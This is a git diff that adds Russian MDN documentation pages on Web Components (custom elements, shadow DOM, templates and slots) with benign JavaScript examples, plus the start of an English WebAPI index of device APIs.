+ <li>При необходимости определите HTML template, используя {{htmlelement("template")}} и {{htmlelement("slot")}}. Снова используйте обычные методы DOM, чтобы клонировать шаблон и прикрепить его к вашей теневой DOM.</li>
+ <li>Используйте свой настраиваемый элемент везде, где хотите, на своей странице, как и любой обычный элемент HTML.</li>
+</ol>
+
+<h2 id="Учебники">Учебники</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/Web_Components/Using_custom_elements">Использование пользовательских элементов </a></dt>
+ <dd>Руководство, показывающее, как использовать функции настраиваемых элементов для создания простых веб-компонентов, а также рассказывает про обратные вызовы жизненного цикла и некоторые другие более сложные функции.</dd>
+ <dt><a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">Использование shadow DOM</a></dt>
+ <dd>Руководство, которое рассматривает основы теневой DOM, показывает, как прикрепить теневую DOM к элементу, добавлять к теневому дереву DOM, стилизовать его и многое другое.</dd>
+ <dt><a href="/ru/docs/Web/Web_Components/Using_templates_and_slots">Использование шаблонов и слотов</a></dt>
+ <dd>Руководство, показывающее, как определить повторно используемую структуру HTML с помощью элементов {{htmlelement("template")}} и {{htmlelement ("slot")}}, а затем использовать эту структуру внутри ваших веб-компонентов.</dd>
+</dl>
+
+<h2 id="Справка">Справка</h2>
+
+<h3 id="Пользовательские_элементы">Пользовательские элементы</h3>
+
+<dl>
+ <dt>{{domxref("CustomElementRegistry")}}</dt>
+ <dd>Содержит функции, связанные с настраиваемыми элементами, в первую очередь с методом {{domxref("CustomElementRegistry.define()")}}, используемым для регистрации новых настраиваемых элементов, чтобы их можно было затем использовать в вашем документе.</dd>
+ <dt>{{domxref("Window.customElements")}}</dt>
+ <dd>Возвращает ссылку на объект <code>CustomElementRegistry</code>.</dd>
+ <dt><a href="/ru/docs/Web/Web_Components/Using_custom_elements#Использование_lifecycle_callbacks">Обратные вызовы жизненного цикла</a></dt>
+ <dd>Специальные функции обратного вызова, определенные внутри определения класса настраиваемого элемента, которые влияют на его поведение:
+ <ul>
+  <li><code>connectedCallback</code>: вызывается, когда настраиваемый элемент впервые подключается к DOM документа.</li>
+  <li><code>disconnectedCallback</code>: вызывается, когда пользовательский элемент отключается от DOM документа.</li>
+  <li><code>adoptedCallback</code>: вызывается, когда настраиваемый элемент перемещается в новый документ.</li>
+  <li><code>attributeChangedCallback</code>: вызывается при добавлении, удалении или изменении одного из атрибутов настраиваемого элемента.</li>
+ </ul>
+ </dd>
+ <dt>Расширения для создания пользовательских встроенных элементов</dt>
+ <dd>
+ <ul>
+  <li>Глобальный атрибут HTML {{htmlattrxref("is")}}: позволяет указать, что стандартный элемент HTML должен вести себя как зарегистрированный встроенный пользовательский элемент.</li>
+  <li>Параметр «is» метода {{domxref("Document.createElement()")}}: позволяет создать экземпляр стандартного HTML-элемента, который ведет себя как заданный зарегистрированный настраиваемый встроенный элемент.</li>
+ </ul>
+ </dd>
+ <dt>Псевдоклассы CSS</dt>
+ <dd>Псевдоклассы, относящиеся конкретно к настраиваемым элементам:
+ <ul>
+  <li>{{cssxref(":defined")}}: Соответствует любому заданному элементу, включая встроенные элементы и настраиваемые элементы, определенные с помощью <code>CustomElementRegistry.define()</code>.</li>
+  <li>{{cssxref(":host")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневого DOM</a>, содержащего CSS, внутри которого он используется.</li>
+  <li>{{cssxref(":host()")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневой DOM</a>, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с теневым хостом.</li>
+  <li>{{cssxref(":host-context()")}}: Выбирает теневой хост <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневой DOM</a>, содержащий CSS, внутри которого он используется (так что вы можете выбрать пользовательский элемент изнутри его теневой DOM) - но только если селектор, указанный в качестве параметра функции, совпадает с предком(-ами) теневого хоста в том месте, где он находится внутри иерархии DOM.</li>
+ </ul>
+ </dd>
+ <dt>Псевдоэлементы CSS</dt>
+ <dd>Псевдоэлементы, относящиеся конкретно к настраиваемым элементам:
+ <ul>
+  <li>{{cssxref("::part")}}: Представляет любой элемент в <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">теневом дереве</a>, имеющий соответствующий атрибут {{HTMLAttrxRef("part")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Shadow_DOM">Shadow DOM</h3>
+
+<dl>
+ <dt>{{domxref("ShadowRoot")}}</dt>
+ <dd>Представляет корневой узел поддерева теневой модели DOM.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot")}}</dt>
+ <dd>Миксин, определяющий функции, доступные для всех документов и теневых корневых узлов.</dd>
+ <dt>Расширения {{domxref("Element")}}</dt>
+ <dd>Расширения интерфейса <code>Element</code>, связанные с теневой DOM:
+ <ul>
+  <li>Метод {{domxref("Element.attachShadow()")}} прикрепляет теневое дерево DOM к указанному элементу.</li>
+  <li>Свойство {{domxref ("Element.shadowRoot")}} возвращает теневой корневой узел, прикрепленный к указанному элементу, или значение <code>null</code>, если корневой узел не прикреплен.</li>
+ </ul>
+ </dd>
+ <dt>Соответствующие дополнения {{domxref("Node")}}</dt>
+ <dd>Дополнения к интерфейсу <code>Node</code>, относящиеся к теневой DOM:
+ <ul>
+  <li>Метод {{domxref("Node.getRootNode()")}} возвращает корень объекта контекста, который необязательно включает теневой корневой узел, если он доступен.</li>
+  <li>Свойство {{domxref("Node.isConnected")}} возвращает логическое значение, указывающее, подключен ли узел (прямо или косвенно) к объекту контекста, например объект {{domxref("Document")}} в случае обычного DOM или {{domxref("ShadowRoot")}} в случае теневого DOM.</li>
+ </ul>
+ </dd>
+ <dt>Расширения {{domxref("Event")}}</dt>
+ <dd>Расширения интерфейса <code>Event</code>, относящиеся к теневой модели DOM:
+ <ul>
+  <li>{{domxref("Event.composed")}}: возвращает {{jsxref("Boolean")}}, который указывает, будет ли событие распространяться через границу теневой DOM в стандартную DOM (<code>true</code>) или нет (<code>false</code>).</li>
+  <li>{{domxref ("Event.composedPath")}}: возвращает путь к событию (объекты, для которых будут вызваны слушатели). Это не включает узлы в теневых деревьях, если теневой кореневой узел был создан с закрытым {{domxref("ShadowRoot.mode")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="HTML_templates">HTML templates</h3>
+
+<dl>
+ <dt>{{htmlelement("template")}}</dt>
+ <dd>Содержит фрагмент HTML, который не отображается при первоначальной загрузке содержащего документа, но может отображаться во время выполнения с помощью JavaScript, который в основном используется в качестве основы для структур настраиваемых элементов. Связанный интерфейс DOM - {{domxref("HTMLTemplateElement")}}.</dd>
+ <dt>{{htmlelement("slot")}}</dt>
+ <dd>Заполнитель внутри веб-компонента, который можно заполнить собственной разметкой, что позволяет создавать отдельные деревья DOM и представлять их вместе. Связанный интерфейс DOM - {{domxref("HTMLSlotElement")}}.</dd>
+ <dt>Глобальный HTML атрибут <code><a href="/ru/docs/Web/HTML/Global_attributes/slot">slot</a></code></dt>
+ <dd>Назначает слот элементу в теневом дереве теневого DOM.</dd>
+ <dt>{{domxref("Slotable")}}</dt>
+ <dd>Миксин, реализованный как узлами {{domxref("Element")}}, так и {{domxref("Text")}}, определяющий функции, которые позволяют им стать содержимым элемента {{htmlelement("slot")}}. Миксин определяет один атрибут, {{domxref("Slotable.assignedSlot")}}, который возвращает ссылку на слот, в который вставлен узел.</dd>
+ <dt>{{domxref("Element")}} extensions</dt>
+ <dd>Расширения интерфейса <code>Element</code>, относящиеся к слотам:
+ <ul>
+  <li>{{domxref("Element.slot")}}: Возвращает имя слота теневого DOM, прикрепленного к элементу.</li>
+ </ul>
+ </dd>
+ <dt>Псевдоэлементы CSS</dt>
+ <dd>Псевдоэлементы, относящиеся конкретно к слотам:
+ <ul>
+  <li>{{cssxref("::slotted")}}: Соответствует любому содержимому, вставленному в слот.</li>
+ </ul>
+ </dd>
+ <dt>Событие {{event("slotchange")}}</dt>
+ <dd>Вызывается для экземпляра {{domxref("HTMLSlotElement")}} (элемент {{htmlelement("slot")}}) при изменении узла(-ов), содержащихся в этом слоте.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Мы создаем ряд примеров в репозитории GitHub с <a href="https://github.com/mdn/web-components-examples">примерами веб-компонентов</a>. Со временем будет добавлено больше.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","scripting.html#the-template-element","&lt;template&gt; element")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Определение {{HTMLElement("template")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Определение <a href="/ru/docs/Web/Web_Components/Использование_пользовательских_элементов">пользовательских HTML элементов</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Определение <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML Imports", "", "")}}</td>
+   <td>{{Spec2("HTML Imports")}}</td>
+   <td>Начальное определение <a href="/ru/docs/Web/Web_Components/HTML_Imports">HTML импорта</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Shadow DOM", "", "")}}</td>
+   <td>{{Spec2("Shadow DOM")}}</td>
+   <td>Начальное определение <a href="/ru/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>В основном:</p>
+
+<ul>
+ <li>Веб-компоненты по умолчанию поддерживаются в Firefox (версия 63), Chrome и Opera.</li>
+ <li>Safari поддерживает ряд функций веб-компонентов, но меньше, чем указанные выше браузеры.</li>
+ <li>Edge работает над реализацией.</li>
+</ul>
+
+<p>Для получения подробной информации о поддержке определенных функций браузером обратитесь к перечисленным выше справочным страницам.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://www.webcomponents.org/">webcomponents.org</a> - сайт с примерами веб-компонентов, учебными пособиями и другой информацией.</li>
+ <li><a href="https://fast.design/" rel="noopener">FAST</a> - это библиотека веб-компонентов, созданная Microsoft, которая предлагает несколько пакетов для использования в зависимости от потребностей вашего проекта. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-element" rel="noopener">Fast Element</a> - это легкое средство для простого создания производительных, эффективных с точки зрения памяти и совместимых со стандартами веб-компонентов. <a href="https://github.com/microsoft/fast/tree/master/packages/web-components/fast-foundation" rel="noopener">Fast Foundation</a> - это библиотека классов, шаблонов и других утилит веб-компонентов, построенная на основе fast-element, предназначенная для создания зарегистрированных веб-компонентов.</li>
+ <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> - библиотека веб-компонентов с открытым исходным кодом, которая предпочитает простые объекты и чистые функции <code>class</code> и <code>this</code> синтаксису. Он предоставляет простой и функциональный API для создания пользовательских элементов.</li>
+ <li><a href="https://www.polymer-project.org/">Polymer</a> - каркас веб-компонентов Google - набор полифилов, улучшений и примеров. На данный момент самый простой способ кроссбраузерно использовать веб-компоненты.</li>
+ <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi</a> - Простые веб-компоненты размером ~ 1 КБ, <em>включая полифил</em> - Все, что вам нужно, это браузер и базовое понимание классов HTML, CSS и JavaScript для продуктивной работы.</li>
+ <li><a href="https://github.com/slimjs/slim.js">Slim.js</a> - библиотека веб-компонентов с открытым исходным кодом - высокопроизводительная библиотека для быстрой и простой разработки компонентов; расширяемая, подключаемая и кросс-платформенная.</li>
+ <li><a href="https://stenciljs.com/">Stencil</a> - набор инструментов для создания многоразовых масштабируемых систем проектирования в веб-компонентах.</li>
+</ul>
diff --git a/files/ru/web/web_components/использование_пользовательских_элементов/index.html b/files/ru/web/web_components/использование_пользовательских_элементов/index.html
new file mode 100644
index 0000000000..bcb5b5d733
--- /dev/null
+++ b/files/ru/web/web_components/использование_пользовательских_элементов/index.html
@@ -0,0 +1,243 @@
+---
+title: Использование пользовательских элементов
+slug: Web/Web_Components/Использование_пользовательских_элементов
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Одна из ключевых особенностей стандарта Веб-компонент это возможность создавать пользовательские элементы на HTML-странице, инкапсулирующие функциональность, вместо того чтобы создавать длинyю, вложенную группу элементов, которые бы вместе реализовывали нужную пользовательскую фичу. Эта статья является вводной по использованию пользовательских HTML-компонент.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Пользовательские элементы поддерживаются по умолчанию в Firefox, Chrome и Opera. Safari пока поддерживает только автономные пользовательские компоненты, Edge также работает над реализацией.</p>
+</div>
+
+<h2 id="Высокоуровневый_обзор">Высокоуровневый обзор</h2>
+
+<p>Контроллером пользовательских элементов веб-документа является объект {{domxref("CustomElementRegistry")}} — этот элемент позволяет регистрировать пользовательские элементы на веб-странице, возвращает информацию о зарегистрированных элементах и т.п.</p>
+
+<p>Чтобы зарегистрировать пользовательский элемент на странице, используйте метод {{domxref("CustomElementRegistry.define()")}} method. Он принимает аргументы:</p>
+
+<ul>
+ <li>{{domxref("DOMString")}} - имя элемента. Обратите внимание, что в именах пользовательских элементах <a href="https://stackoverflow.com/questions/22545621/do-custom-elements-require-a-dash-in-their-name">должен содержаться дефис</a>; они не могут состоять только из одного слова.</li>
+ <li>Объект типа <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class</a>, определяющий поведение элемента.</li>
+ <li>Опционально объект options, имеющий свойство <code>extends</code>, соответствующее встроенному элементу, от которого наследует объект.</li>
+</ul>
+
+<p>К примеру, мы можем определить пользовательский элемент <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">word-count element</a>:</p>
+
+<pre class="brush: js">customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<p>Этот элемент называется <code>word-count</code>, объект соответствующего класса называется <code>WordCount</code>, и он наследует элементу {{htmlelement("p")}}.</p>
+
+<p>Объект класса пользовательского элемента определяется с помощью синтаксиса классов ES 2015. Например, <code>WordCount</code> имеют следующую структуру:</p>
+
+<pre class="brush: js">class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Всегда первым делом вызывайте super() в конструкторе
+    super();
+
+    // Далее пишется функциональность элемента
+
+    ...
+  }
+}</pre>
+
+<p>Это простой пример, но его можно дополнить. Можно определить специальные lifecycle callbacks, которые будут вызваны в определенные моменты жизненного цикла элемента. Например, <code>connectedCallback</code> будет вызван, когда пользовательский элемент оказывается впервые встроен в DOM, а <code>attributeChangedCallback</code> вызывается, когда пользовательскому элементу добавляют, удаляют или изменяют какой-то аттрибут.</p>
+
+<p>Подробнее об этом в секции {{anch("Using the lifecycle callbacks")}} ниже.</p>
+
+<p>Есть два типа пользовательских элементов:</p>
+
+<ul>
+ <li><strong>Автономные пользователькие элементы</strong> независимы — они не наследуют встроенным HTML-элементам. Их используют на странице просто как обычный HTML-элемент. Например, <code>&lt;popup-info&gt;</code> или <code>document.createElement("popup-info")</code>.</li>
+ <li><strong>Модифицированные встроенные элементы</strong> наследуют базовым HTML-элементам. Чтобы создать один из них, вы определяете элемент, от которого они унаследованы (как в примерах выше), и используете их как обычный базовый элемент, но с добавлением атрибута/свойства с именем пользовательского элемента {{htmlattrxref("is")}}. Например <code>&lt;p is="word-count"&gt;</code>, или <code>document.createElement("p", { is: "word-count" })</code>.</li>
+</ul>
+
+<h2 id="Разбор_простых_примеров">Разбор простых примеров</h2>
+
+<p>А сейчас давайте разберем еще несколько простых примеров, иллюстрирующих подробности создания пользовательских элементов.</p>
+
+<h3 id="Автономные_пользовательские_элементы">Автономные пользовательские элементы</h3>
+
+<p>Рассмотрим пример автономного пользовательского элемента — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (см. <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">работающий пример</a>). Он содержит изображение и строку, и встраивает изображение в страницу. Когда на изображение наводят фокус, компонент показывает всплывающую подсказку с текстом.</p>
+
+<p>Прежде всего файл JavaScript определяет класс <code>PopUpInfo</code>, наследующий от {{domxref("HTMLElement")}}. Автономные пользовательские элементы почти всегда наследуют <code>HTMLElement</code>.</p>
+
+<pre class="brush: js">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Всегда первым делом вызывайте super() в конструкторе
+    super();
+
+    // далее следует функциональность элемента
+
+    ...
+  }
+}</pre>
+
+<p>В этом фрагменте кода содержится определение конструктора {{jsxref("Classes.constructor","constructor")}} класса, которое всегда начинается с вызова <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> чтобы отработала цепочка прототипного наследования.</p>
+
+<p>Внутри конструктора мы определяем всю функциональность, которую получит элемент при создании его объекта. В данном случае мы добавляем shadow root к пользовательскому элементу, производим манипуляции с DOM, чтобы создать определенную структуру shadow DOM внутри элемента — которая затем присоединяется к shadow root — и наконец добавляем CSS к shadow root, чтобы задать его стиль.</p>
+
+<pre class="brush: js">// Создание shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Создание spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Берем содержимое атрибута и добавляем его в span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Вставляем иконку
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+
+// Создаем CSS для shadow dom
+var style = document.createElement('style');
+
+style.textContent = '.wrapper {' +
+// CSS truncated for brevity
+
+// добавляем созданные элементы к shadow dom
+
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<p>Наконец, регистрируем пользовательский элемент в <code>CustomElementRegistry</code> с помощью метода <code>define()</code>, который упоминался ранее — в качестве параметров мы передаем ему имя элемента и имя класса, который содержит его функциональность:</p>
+
+<pre class="brush: js">customElements.define('popup-info', PopUpInfo);</pre>
+
+<p>Теперь он доступен для использования на нашей странице. В HTML мы используем его так:</p>
+
+<pre class="brush: html">&lt;popup-info img="img/alt.png" text="Код валидации вашей карты (CVC)
+  это дополнительная мера безопасности — это последние 3 или 4 цифры
+  на обороте вашей карты."&gt;</pre>
+
+<div class="note">
+<p><strong>Замечение</strong>: Вы можете прочитать <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-web-component/main.js">полный исходный код на JavaScript</a> здесь.</p>
+</div>
+
+<h3 id="Модифицированные_встроенные_элементы">Модифицированные встроенные элементы</h3>
+
+<p>Тепреь давайте взглянем на другой пример модифицированного пользовательского элемента — <a href="https://github.com/mdn/web-components-examples/tree/master/expanding-list-web-component">раскрывающийся список</a> (<a href="https://mdn.github.io/web-components-examples/expanding-list-web-component/">см. действующий пример</a>). Он превращает любой ненумерованный список в раскрывающееся/складывающееся меню.</p>
+
+<p>Первым делом определим класс элемента наподобие того, как это делалось выше:</p>
+
+<pre class="brush: js">class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Всегда первым делом вызываем super() в конструкторе
+    super();
+
+    // ниже следует функциональность элемента
+
+    ...
+  }
+}</pre>
+
+<p>Здесь мы не будем во всех подробностях описывать функциональность элемента, вы можете понять как он работает, посмотрев исходный код. Единственное принципиальное различие с предыдующим примером состоит в том, что мы используем интерфейс {{domxref("HTMLUListElement")}}, а не {{domxref("HTMLElement")}}. Так что у него есть все характеристики элемента {{htmlelement("ul")}}, плюс дополнительная функциональность, которую определили мы. Это и отличает модифицированный встроенный элемент от автономного пользовательского элемента.</p>
+
+<p>Далее мы регистрируем этот элемент с помощью метода <code>define()</code> как в прошлом примере, только на сей раз мы добавляем объект options, который определяет, какому встроенному элементу наследует данный:</p>
+
+<pre class="brush: js">customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>Встроенный элемент используется на веб-странице немного по-другому:</p>
+
+<pre class="brush: html">&lt;ul is="expanding-list"&gt;
+
+  ...
+
+&lt;/ul&gt;</pre>
+
+<p>Вы задаете элемент <code>&lt;ul&gt;</code> как обычно, но указываете имя модифицированного элемента в атрибуте <code>is</code>.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: Полный <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">исходный код на JavaScript</a> доступен здесь.</p>
+</div>
+
+<h2 id="Использование_lifecycle_callbacks">Использование lifecycle callbacks</h2>
+
+<p>Вы можете определить несколько разных коллбеков в конструкторе пользовательских элементов, которые сработают на разных этапах жизненного цикла элемента:</p>
+
+<ul>
+ <li><code>connectedCallback</code>: Срабатывает, когда пользовательский элемент впервые добавляется в DOM.</li>
+ <li><code>disconnectedCallback</code>: Срабатывает, когда пользовательский элемент удаляется из DOM.</li>
+ <li><code>adoptedCallback</code>: Срабатывает, когда пользовательский элемент перемещен в новый документ.</li>
+ <li><code>attributeChangedCallback</code>: Срабатывает, когда пользовательскому элементу добавляют, удаляют или изменяют атрибут.</li>
+</ul>
+
+<p>Посмотрим на них в действии. Код ниже взят из примера <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a> (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks/">см. его в действии</a>). Это тривиальный пример, создающий на странице цветной квадрат. Вот как выглядит код пользовательского элемента:</p>
+
+<pre class="brush: html">&lt;custom-square l="100" c="red"&gt;&lt;/custom-square&gt;</pre>
+
+<p>Конструктор класса очень простой — мы просто добавляем shadow DOM к элементу, а затем добавляем пустые элементы {{htmlelement("div")}} и {{htmlelement("style")}} к shadow root:</p>
+
+<pre class="brush: js">var shadow = this.attachShadow({mode: 'open'});
+
+var div = document.createElement('div');
+var style = document.createElement('style');
+shadow.appendChild(style);
+shadow.appendChild(div);</pre>
+
+<p>Наиболее важная функция в этом примере <code>updateStyle()</code> — она принимает элемент, находит его shadow root, находит его элемент <code>&lt;style&gt;</code>, и добавляет {{cssxref("width")}}, {{cssxref("height")}}, и {{cssxref("background-color")}} к стилям.</p>
+
+<pre class="brush: js">function updateStyle(elem) {
+  var shadow = elem.shadowRoot;
+  var childNodes = shadow.childNodes;
+  for(var i = 0; i &lt; childNodes.length; i++) {
+    if(childNodes[i].nodeName === 'STYLE') {
+      childNodes[i].textContent = 'div {' +
+                          ' width: ' + elem.getAttribute('l') + 'px;' +
+                          ' height: ' + elem.getAttribute('l') + 'px;' +
+                          ' background-color: ' + elem.getAttribute('c');
+    }
+  }
+}</pre>
+
+<p>Сами изменения стилей обрабатываются коллбеками жизненного цикла, находящимися внутри конструктора. <code>connectedCallback()</code> срабатывает, когда элемент встраивается в DOM — здесь мы запускаем функцию <code>updateStyle()</code> которая обсеспечивает, чтобы квадрат имел стиль, описанный в его атрибутах:</p>
+
+<pre class="brush: js">connectedCallback() {
+  console.log('Пользовательский элемент квадрат добавлен на страницу.');
+  updateStyle(this);
+}</pre>
+
+<p>коллбеки <code>disconnectedCallback()</code> и <code>adoptedCallback()</code> логируют простые сообщения на консоль, которые уведомляют нас, что элемент удален из DOM или перемещен на другую страницу:</p>
+
+<pre class="brush: js">disconnectedCallback() {
+  console.log('Пользователский элемент квадрат удален.');
+}
+
+adoptedCallback() {
+  console.log('Пользовательский элемент квадарат перемещен на другую страницу.');
+}</pre>
+
+<p>Коллбек <code>attributeChangedCallback()</code> запускается когда один из аттрибутов элемента меняется. Как видно из его свойств, можно воздействовать на индивидуальные аттрибуты, глядя на их имена, и новые и старые значения аттрибутов. В данном случае, однако, мы просто снова запускаем функцию <code>updateStyle()</code> чтобы убедиться, что атрибуты квадрата получили новые значения:</p>
+
+<pre class="brush: js">attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Атрибуты пользовательского элемента квадрат изменились.');
+  updateStyle(this);
+}</pre>
+
+<p>Обратите внимание, что нужно наблюдать за атрибутами, чтобы запустить коллбек <code>attributeChangedCallback()</code> когда они изменятся. Это делается через вызов геттера <code>observedAttributes()</code> в конструкторе, который содержит оператор <code>return</code> возвращающий массив с именами атрибутов, которые вы хотите наблюдать:</p>
+
+<pre class="brush: js">static get observedAttributes() {return ['w', 'l']; }</pre>
+
+<p>В нашем случае он расположен в начале конструктора.</p>
+
+<div class="note">
+<p><strong>Замечение</strong>: Смотрите <a href="https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js">полный исходный код на JavaScript</a> здесь.</p>
+</div>
diff --git a/files/ru/web/webapi/index.html b/files/ru/web/webapi/index.html
new file mode 100644
index 0000000000..13ccc62d61
--- /dev/null
+++ b/files/ru/web/webapi/index.html
@@ -0,0 +1,130 @@
+---
+title: WebAPI
+slug: Web/WebAPI
+tags:
+  - API
+translation_of: Web/API
+---
+<p><strong>WebAPI</strong> is a term used to refer to a suite of device compatibility and access APIs that allow Web apps and content to access device hardware (such as battery status or the device vibration hardware), as well as access to data stored on the device (such as the calendar or contacts list). By adding these APIs, we hope to expand what the Web can do today to also include what only proprietary platforms were able to do in the past.</p>
+
+<div class="note">
+<p><strong>Note:</strong> For a brief explanation of each badge, please see the <a href="/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps" title="Web/Apps/Packaged_apps#Types_of_packaged_apps">packaged apps</a> documentation.</p>
+</div>
+
+<p> </p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Communication_APIs" name="Communication_APIs">Communication APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">Network Information API</a></dt>
+ <dd>Provides basic information about the current network connection, such as connection speed.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth">Bluetooth</a> {{NonStandardBadge}}</dt>
+ <dd>The WebBluetooth API provides low-level access to the device's Bluetooth hardware.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection">Mobile Connection API</a> {{NonStandardBadge}}</dt>
+ <dd>Exposes information about the device's cellular connectivity, such as signal strength, operator information, and so forth.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats">Network Stats API</a> {{NonStandardBadge}}</dt>
+ <dd>Monitors data usage and exposes this data to privileged applications.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony">Telephony</a> {{NonStandardBadge}}</dt>
+ <dd>Lets apps place and answer phone calls and use the built-in telephony user interface.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS </a>{{NonStandardBadge}}</dt>
+ <dd>Lets apps send and receive SMS text messages, as well as to access and manage the messages stored on the device.</dd>
+ <dt><a href="/en-US/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information">WiFi Information API</a> {{NonStandardBadge}}</dt>
+ <dd>A privileged API which provides information about signal strength, the name of the current network, available WiFi networks, and so forth.</dd>
+</dl>
+
+<h2 class="Documentation" id="Hardware_access_APIs" name="Hardware_access_APIs">Hardware access APIs</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebAPI/Using_Light_Events">Ambient Light Sensor API</a></dt>
+ <dd>Provides access to the ambient light sensor, which lets your app detect the ambient light level in the vicinity of the device.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">Battery Status API</a></dt>
+ <dd>Provides information about the battery's charge level and whether or not the device is currently plugged in and charging.</dd>
+ <dt><a href="/en-US/docs/Using_geolocation" title="Using_geolocation">Geolocation API</a></dt>
+ <dd>Provides information about the device's physical location.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">Pointer Lock API</a></dt>
+ <dd>Lets apps lock access to the mouse and gain access to movement deltas rather than absolute coordinates; this is great for gaming.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Proximity" title="WebAPI/Proximity">Proximity API</a></dt>
+ <dd>Lets you detect proximity of the device to a nearby object, such as the user's face.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">Device Orientation API</a></dt>
+ <dd>Provides notifications when the device's orientation changes.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">Screen Orientation API</a></dt>
+ <dd>Provides notifications when the screen's orientation changes. You can also use this API to let your app indicate what orientation it prefers.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Vibration" title="WebAPI/Vibration">Vibration API</a></dt>
+ <dd>Lets apps control the device's vibration hardware for things such as haptic feedback in games. This is <strong>not</strong> intended for things such as notification vibrations. See the <a href="/en-US/docs/WebAPI/Alarm" title="WebAPI/Alarm">Alarm API</a> for that.</dd>
+ <dt><a href="/en-US/docs/WebAPI/Camera" title="WebAPI/Camera">Camera API</a> {{NonStandardBadge}}</dt>
+ <dd>Allows apps to take photographs and/or record video using the device's built-in camera.</dd>
